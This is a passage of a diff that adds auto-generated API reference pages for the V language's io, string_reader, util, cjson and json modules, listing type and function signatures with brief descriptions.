+	// `io.Eof` on end of stream (EOF) instead of just returning 0
+mut:
+	read(mut buf []u8) !int
+}
+```
+
+Reader represents a stream of data that can be read.
+
+[[Return to contents]](#Contents)
+
+## ReaderWriter
+```v
+interface ReaderWriter {
+	Reader
+	Writer
+}
+```
+
+ReaderWriter represents a stream that can be read and written.
+
+[[Return to contents]](#Contents)
+
+## Writer
+```v
+interface Writer {
+mut:
+	write(buf []u8) !int
+}
+```
+
+Writer is the interface that wraps the `write` method, which writes `buf.len` bytes to the underlying data stream.
+
+[[Return to contents]](#Contents)
+
+## ReaderWriterImpl
+## read
+```v
+fn (mut r ReaderWriterImpl) read(mut buf []u8) !int
+```
+
+read reads up to `buf.len` bytes into `buf`. It returns the number of bytes read or any error encountered.
+
+[[Return to contents]](#Contents)
+
+## write
+```v
+fn (mut r ReaderWriterImpl) write(buf []u8) !int
+```
+
+write writes `buf.len` bytes from `buf` to the underlying data stream. It returns the number of bytes written or any error encountered.
+
+[[Return to contents]](#Contents)
+
+## BufferedReadLineConfig
+```v
+struct BufferedReadLineConfig {
+pub:
+	delim u8 = `\n` // line delimiter
+}
+```
+
+BufferedReadLineConfig are options that can be given to the read_line() function.
+
+[[Return to contents]](#Contents)
+
+## BufferedReader
+```v
+struct BufferedReader {
+mut:
+	reader Reader
+	buf    []u8
+	offset int // current offset in the buffer
+	len    int
+	fails  int // how many times fill_buffer has read 0 bytes in a row
+	mfails int // maximum fails, after which we can assume that the stream has ended
+pub mut:
+	end_of_stream bool // whether we reached the end of the upstream reader
+	total_read    int  // total number of bytes read
+}
+```
+
+BufferedReader provides a buffered interface for a reader.
+
+[[Return to contents]](#Contents)
+
+## read
+```v
+fn (mut r BufferedReader) read(mut buf []u8) !int
+```
+
+read fufills the Reader interface.
+
+[[Return to contents]](#Contents)
+
+## free
+```v
+fn (mut r BufferedReader) free()
+```
+
+free deallocates the memory for a buffered reader's internal buffer.
+
+[[Return to contents]](#Contents)
+
+## end_of_stream
+```v
+fn (r BufferedReader) end_of_stream() bool
+```
+
+end_of_stream returns whether the end of the stream was reached.
+
+[[Return to contents]](#Contents)
+
+## read_line
+```v
+fn (mut r BufferedReader) read_line(config BufferedReadLineConfig) !string
+```
+
+read_line attempts to read a line from the buffered reader. It will read until it finds the specified line delimiter such as (\n, the default or \0) or the end of stream.
+
+[[Return to contents]](#Contents)
+
+## BufferedReaderConfig
+```v
+struct BufferedReaderConfig {
+pub:
+	reader  Reader
+	cap     int = 128 * 1024 // large for fast reading of big(ish) files
+	retries int = 2          // how many times to retry before assuming the stream ended
+}
+```
+
+BufferedReaderConfig are options that can be given to a buffered reader.
+
+[[Return to contents]](#Contents)
+
+## BufferedWriter
+```v
+struct BufferedWriter {
+mut:
+	n  int
+	wr Writer
+pub mut:
+	buf []u8
+}
+```
+
+[[Return to contents]](#Contents)
+
+## reset
+```v
+fn (mut b BufferedWriter) reset()
+```
+
+reset resets the buffer to its initial state.
+
+[[Return to contents]](#Contents)
+
+## buffered
+```v
+fn (b BufferedWriter) buffered() int
+```
+
+buffered returns the number of bytes currently stored in the buffer.
+
+[[Return to contents]](#Contents)
+
+## flush
+```v
+fn (mut b BufferedWriter) flush() !
+```
+
+flush writes the buffered data to the underlying writer and clears the buffer, ensures all data is written. Returns an error if the writer fails to write all buffered data.
+
+[[Return to contents]](#Contents)
+
+## available
+```v
+fn (b BufferedWriter) available() int
+```
+
+available returns the amount of available space left in the buffer.
+
+[[Return to contents]](#Contents)
+
+## write
+```v
+fn (mut b BufferedWriter) write(src []u8) !int
+```
+
+write writes `src` in the buffer, flushing it to the underlying writer as needed, and returns the number of bytes written.
+
+[[Return to contents]](#Contents)
+
+## BufferedWriterConfig
+```v
+struct BufferedWriterConfig {
+pub:
+	writer Writer
+	cap    int = 128 * 1024
+}
+```
+
+[[Return to contents]](#Contents)
+
+## CopySettings
+```v
+struct CopySettings {
+pub mut:
+	buffer_size int = 64 * 1024 // The buffer size used during the copying. A larger buffer is more performant, but uses more RAM.
+}
+```
+
+CopySettings provides additional options to io.cp
+
+[[Return to contents]](#Contents)
+
+## Eof
+```v
+struct Eof {
+	Error
+}
+```
+
+Eof error means that we reach the end of the stream.
+
+[[Return to contents]](#Contents)
+
+## MultiWriter
+```v
+struct MultiWriter {
+pub mut:
+	writers []Writer
+}
+```
+
+MultiWriter writes to all its writers.
+
+[[Return to contents]](#Contents)
+
+## write
+```v
+fn (mut m MultiWriter) write(buf []u8) !int
+```
+
+write writes to all writers of the MultiWriter. Returns the length of bytes written. If any writer fails to write the full length an error is returned and writing to other writers stops. If any writer returns an error the error is returned immediately and writing to other writers stops.
+
+[[Return to contents]](#Contents)
+
+## NotExpected
+```v
+struct NotExpected {
+	cause string
+	code  int
+}
+```
+
+NotExpected is a generic error that means that we receave a not expected error.
+
+[[Return to contents]](#Contents)
+
+## ReadAllConfig
+```v
+struct ReadAllConfig {
+pub:
+	read_to_end_of_stream bool
+	reader                Reader
+}
+```
+
+ReadAllConfig allows options to be passed for the behaviour of read_all.
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:19:15

aiprompts/v_core/io/string_reader.md

@@ -0,0 +1,219 @@
+# module string_reader
+
+
+## Contents
+- [StringReader.new](#StringReader.new)
+- [StringReader](#StringReader)
+  - [needs_fill](#needs_fill)
+  - [needs_fill_until](#needs_fill_until)
+  - [fill_buffer](#fill_buffer)
+  - [fill_buffer_until](#fill_buffer_until)
+  - [read_all_bytes](#read_all_bytes)
+  - [read_all](#read_all)
+  - [read_bytes](#read_bytes)
+  - [read_string](#read_string)
+  - [read](#read)
+  - [read_line](#read_line)
+  - [write](#write)
+  - [get_data](#get_data)
+  - [get_part](#get_part)
+  - [get_string](#get_string)
+  - [get_string_part](#get_string_part)
+  - [flush](#flush)
+  - [free](#free)
+- [StringReaderParams](#StringReaderParams)
+
+## StringReader.new
+```v
+fn StringReader.new(params StringReaderParams) StringReader
+```
+
+new creates a new StringReader and sets the string builder size to `initial_size`. If a source
+
+[[Return to contents]](#Contents)
+
+## StringReader
+```v
+struct StringReader {
+mut:
+	reader ?io.Reader
+	offset int // current offset in the buffer
+pub mut:
+	end_of_stream bool // whether we reached the end of the upstream reader
+	builder       strings.Builder
+}
+```
+
+StringReader is able to read data from a Reader interface and/or source string to a dynamically growing buffer using a string builder. Unlike the BufferedReader, StringReader will keep the entire contents of the buffer in memory, allowing the incoming data to be reused and read in an efficient matter. The StringReader will not set a maximum capacity to the string builders buffer and could grow very large.
+
+[[Return to contents]](#Contents)
+
+## needs_fill
+```v
+fn (r StringReader) needs_fill() bool
+```
+
+needs_fill returns whether the buffer needs refilling
+
+[[Return to contents]](#Contents)
+
+## needs_fill_until
+```v
+fn (r StringReader) needs_fill_until(n int) bool
+```
+
+needs_fill_until returns whether the buffer needs refilling in order to read `n` bytes
+
+[[Return to contents]](#Contents)
+
+## fill_buffer
+```v
+fn (mut r StringReader) fill_buffer(read_till_end_of_stream bool) !int
+```
+
+fill_bufer tries to read data into the buffer until either a 0 length read or if read_to_end_of_stream is true then the end of the stream. It returns the number of bytes read
+
+[[Return to contents]](#Contents)
+
+## fill_buffer_until
+```v
+fn (mut r StringReader) fill_buffer_until(n int) !int
+```
+
+fill_buffer_until tries read `n` amount of bytes from the reader into the buffer and returns the actual number of bytes read
+
+[[Return to contents]](#Contents)
+
+## read_all_bytes
+```v
+fn (mut r StringReader) read_all_bytes(read_till_end_of_stream bool) ![]u8
+```
+
+read_all_bytes reads all bytes from a reader until either a 0 length read or if read_to_end_of_stream is true then the end of the stream. It returns a copy of the read data
+
+[[Return to contents]](#Contents)
+
+## read_all
+```v
+fn (mut r StringReader) read_all(read_till_end_of_stream bool) !string
+```
+
+read_all reads all bytes from a reader until either a 0 length read or if read_to_end_of_stream is true then the end of the stream. It produces a string from the read data
+
+[[Return to contents]](#Contents)
+
+## read_bytes
+```v
+fn (mut r StringReader) read_bytes(n int) ![]u8
+```
+
+read_bytes tries to read n amount of bytes from the reader
+
+[[Return to contents]](#Contents)
+
+## read_string
+```v
+fn (mut r StringReader) read_string(n int) !string
+```
+
+read_bytes tries to read `n` amount of bytes from the reader and produces a string from the read data
+
+[[Return to contents]](#Contents)
+
+## read
+```v
+fn (mut r StringReader) read(mut buf []u8) !int
+```
+
+read implements the Reader interface
+
+[[Return to contents]](#Contents)
+
+## read_line
+```v
+fn (mut r StringReader) read_line(config io.BufferedReadLineConfig) !string
+```
+
+read_line attempts to read a line from the reader. It will read until it finds the specified line delimiter such as (\n, the default or \0) or the end of stream.
+
+[[Return to contents]](#Contents)
+
+## write
+```v
+fn (mut r StringReader) write(buf []u8) !int
+```
+
+write implements the Writer interface
+
+[[Return to contents]](#Contents)
+
+## get_data
+```v
+fn (r StringReader) get_data() []u8
+```
+
+get_data returns a copy of the buffer
+
+[[Return to contents]](#Contents)
+
+## get_part
+```v
+fn (r StringReader) get_part(start int, n int) ![]u8
+```
+
+get get_part returns a copy of a part of the buffer from `start` till `start` + `n`
+
+[[Return to contents]](#Contents)
+
+## get_string
+```v
+fn (r StringReader) get_string() string
+```
+
+get_string produces a string from all the bytes in the buffer
+
+[[Return to contents]](#Contents)
+
+## get_string_part
+```v
+fn (r StringReader) get_string_part(start int, n int) !string
+```
+
+get_string_part produces a string from `start` till `start` + `n` of the buffer
+
+[[Return to contents]](#Contents)
+
+## flush
+```v
+fn (mut r StringReader) flush() string
+```
+
+flush clears the stringbuilder and returns the resulting string and the stringreaders offset is reset to 0
+
+[[Return to contents]](#Contents)
+
+## free
+```v
+fn (mut r StringReader) free()
+```
+
+free frees the memory block used for the string builders buffer, a new string builder with size 0 is initialized and the stringreaders offset is reset to 0
+
+[[Return to contents]](#Contents)
+
+## StringReaderParams
+```v
+struct StringReaderParams {
+pub:
+	// the reader interface
+	reader ?io.Reader
+	// initialize the builder with this source string
+	source ?string
+	// if no source is given the string builder is initialized with this size
+	initial_size int
+}
+```
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:19:15

aiprompts/v_core/io/util.md

@@ -0,0 +1,50 @@
+# module util
+
+
+## Contents
+- [temp_dir](#temp_dir)
+- [temp_file](#temp_file)
+- [TempDirOptions](#TempDirOptions)
+- [TempFileOptions](#TempFileOptions)
+
+## temp_dir
+```v
+fn temp_dir(tdo TempFileOptions) !string
+```
+
+temp_dir returns a uniquely named, writable, directory path.
+
+[[Return to contents]](#Contents)
+
+## temp_file
+```v
+fn temp_file(tfo TempFileOptions) !(os.File, string)
+```
+
+temp_file returns a uniquely named, open, writable, `os.File` and it's path.
+
+[[Return to contents]](#Contents)
+
+## TempDirOptions
+```v
+struct TempDirOptions {
+pub:
+	path    string = os.temp_dir()
+	pattern string
+}
+```
+
+[[Return to contents]](#Contents)
+
+## TempFileOptions
+```v
+struct TempFileOptions {
+pub:
+	path    string = os.temp_dir()
+	pattern string
+}
+```
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:19:15

aiprompts/v_core/json/cjson.md

@@ -0,0 +1,212 @@
+# module cjson
+
+
+## Contents
+- [create_array](#create_array)
+- [create_bool](#create_bool)
+- [create_false](#create_false)
+- [create_null](#create_null)
+- [create_number](#create_number)
+- [create_object](#create_object)
+- [create_raw](#create_raw)
+- [create_string](#create_string)
+- [create_true](#create_true)
+- [delete](#delete)
+- [version](#version)
+- [Node](#Node)
+  - [add_item_to_object](#add_item_to_object)
+  - [add_item_to_array](#add_item_to_array)
+  - [print](#print)
+  - [print_unformatted](#print_unformatted)
+  - [str](#str)
+- [CJsonType](#CJsonType)
+- [C.cJSON](#C.cJSON)
+
+## create_array
+```v
+fn create_array() &Node
+```
+
+create_array creates a new JSON array item. Use .add_item_to_array(value) calls, to add items to it later.
+
+[[Return to contents]](#Contents)
+
+## create_bool
+```v
+fn create_bool(val bool) &Node
+```
+
+create_bool creates a new JSON boolean item.
+
+[[Return to contents]](#Contents)
+
+## create_false
+```v
+fn create_false() &Node
+```
+
+create_false creates a new JSON boolean item, with value `false`.
+
+[[Return to contents]](#Contents)
+
+## create_null
+```v
+fn create_null() &Node
+```
+
+create_null creates a new JSON NULL item, with the value `null`. It symbolises a missing value for a given key in an object.
+
+[[Return to contents]](#Contents)
+
+## create_number
+```v
+fn create_number(val f64) &Node
+```
+
+create_number creates a new JSON number item.
+
+[[Return to contents]](#Contents)
+
+## create_object
+```v
+fn create_object() &Node
+```
+
+create_object creates a new JSON object/map item. Use .add_item_to_object(key, value) calls, to add other items to it later.
+
+[[Return to contents]](#Contents)
+
+## create_raw
+```v
+fn create_raw(const_val string) &Node
+```
+
+create_raw creates a new JSON RAW string item.
+
+[[Return to contents]](#Contents)
+
+## create_string
+```v
+fn create_string(val string) &Node
+```
+
+create_string creates a new JSON string item.
+
+[[Return to contents]](#Contents)
+
+## create_true
+```v
+fn create_true() &Node
+```
+
+create_true creates a new JSON boolean item, with value `true`.
+
+[[Return to contents]](#Contents)
+
+## delete
+```v
+fn delete(node &Node)
+```
+
+delete removes the given node from memory. NB: DO NOT USE that node, after you have called `unsafe { delete(node) }` !
+
+[[Return to contents]](#Contents)
+
+## version
+```v
+fn version() string
+```
+
+version returns the version of cJSON as a string.
+
+[[Return to contents]](#Contents)
+
+## Node
+```v
+type Node = C.cJSON
+```
+
+[[Return to contents]](#Contents)
+
+## add_item_to_object
+```v
+fn (mut obj Node) add_item_to_object(key string, item &Node)
+```
+
+add_item_to_array adds the given item to the object, under the given `key`.
+
+[[Return to contents]](#Contents)
+
+## add_item_to_array
+```v
+fn (mut obj Node) add_item_to_array(item &Node)
+```
+
+add_item_to_array append the given item to the object.
+
+[[Return to contents]](#Contents)
+
+## print
+```v
+fn (mut obj Node) print() string
+```
+
+print serialises the node to a string, formatting its structure, so the resulting string is more prettier/human readable.
+
+[[Return to contents]](#Contents)
+
+## print_unformatted
+```v
+fn (mut obj Node) print_unformatted() string
+```
+
+print serialises the node to a string, without formatting its structure, so the resulting string is shorter/cheaper to transmit.
+
+[[Return to contents]](#Contents)
+
+## str
+```v
+fn (mut obj Node) str() string
+```
+
+str returns the unformatted serialisation to string of the given Node.
+
+[[Return to contents]](#Contents)
+
+## CJsonType
+```v
+enum CJsonType {
+	t_false
+	t_true
+	t_null
+	t_number
+	t_string
+	t_array
+	t_object
+	t_raw
+}
+```
+
+[[Return to contents]](#Contents)
+
+## C.cJSON
+```v
+struct C.cJSON {
+pub:
+	next  &C.cJSON // next/prev allow you to walk array/object chains. Alternatively, use GetArraySize/GetArrayItem/GetObjectItem
+	prev  &C.cJSON
+	child &C.cJSON // An array or object item will have a child pointer pointing to a chain of the items in the array/object
+
+	type CJsonType // The type of the item, as above
+
+	valueint    int   // writing to valueint is DEPRECATED, use cJSON_SetNumberValue instead
+	valuedouble f64   // The item's number, if type==cJSON_Number
+	valuestring &char // The item's string, if type==cJSON_String  and type == cJSON_Raw
+	// @string &char // The item's name string, if this item is the child of, or is in the list of subitems of an object
+	// TODO: `@string &char` from above does not work. It should be fixed, at least inside `struct C.`.
+}
+```
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:37:38

aiprompts/v_core/json/json.md

@@ -0,0 +1,48 @@
+# module json
+
+
+## Contents
+- [decode](#decode)
+- [encode](#encode)
+- [encode_pretty](#encode_pretty)
+- [C.cJSON](#C.cJSON)
+
+## decode
+```v
+fn decode(typ voidptr, s string) !voidptr
+```
+
+decode tries to decode the provided JSON string, into a V structure. If it can not do that, it returns an error describing the reason for the parsing failure.
+
+[[Return to contents]](#Contents)
+
+## encode
+```v
+fn encode(x voidptr) string
+```
+
+encode serialises the provided V value as a JSON string, optimised for shortness.
+
+[[Return to contents]](#Contents)
+
+## encode_pretty
+```v
+fn encode_pretty(x voidptr) string
+```
+
+encode_pretty serialises the provided V value as a JSON string, in a formatted way, optimised for viewing by humans.
+
+[[Return to contents]](#Contents)
+
+## C.cJSON
+```v
+struct C.cJSON {
+	valueint    int
+	valuedouble f64
+	valuestring &char
+}
+```
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:37:38